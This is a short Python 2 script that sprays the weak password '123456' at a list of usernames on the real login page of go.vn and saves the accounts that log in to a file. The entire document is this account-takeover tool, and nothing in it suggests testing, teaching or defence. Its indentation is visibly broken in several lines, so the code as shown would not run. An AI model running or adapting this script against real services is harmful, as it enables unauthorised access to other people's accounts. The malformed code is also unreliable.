Done.py

# -*- coding: utf-8 -*-

import re
import urllib2
import time
import cookielib
import socket

filename = 'account.txt'
passwd = "123456"

with open(filename) as f:
        for line in f:
                line = line.replace("\n","")
        print "Brute Force Account : %s" % line
                POSTDATA = "__VIEWSTATE=/wEPDwUJNzIzMjAyMTc5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUScmVtZW1iZXJNZUNoZWNrQm94&__SCROLLPOSITIONX=0&__SCROLLPOSITIONY=0&__EVENTTARGET=&__EVENTARGUMENT=&txtUserName=%s&txtPassword=%s&btnLogin=Đăng Nhập"%(line,passwd)
                #print POSTDATA
        URL = "https://go.vn/accounts/account.login.aspx?sid=660018&ur=http%3a%2f%2fmy.go.vn%3a3043%2fhome.aspx&m=1&continue="
                try:
                        socket.setdefaulttimeout(10)
                        cj = cookielib.CookieJar()
                        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
                        response = opener.open(URL,POSTDATA).read()
                        #for cookie in cj:
                                #print cookie
                        #open('debug/%s.html'%line, 'wb').write(response)
                        result = re.findall(line, response)
                        if len(result) >1:
                            print "Login Account Ok"
                            open('LstAccount.txt', 'a').write(line+"\n")
                        else:
                                print "Login Account Error"
                        time.sleep(3)
                except:
                        print str(line) + " Error"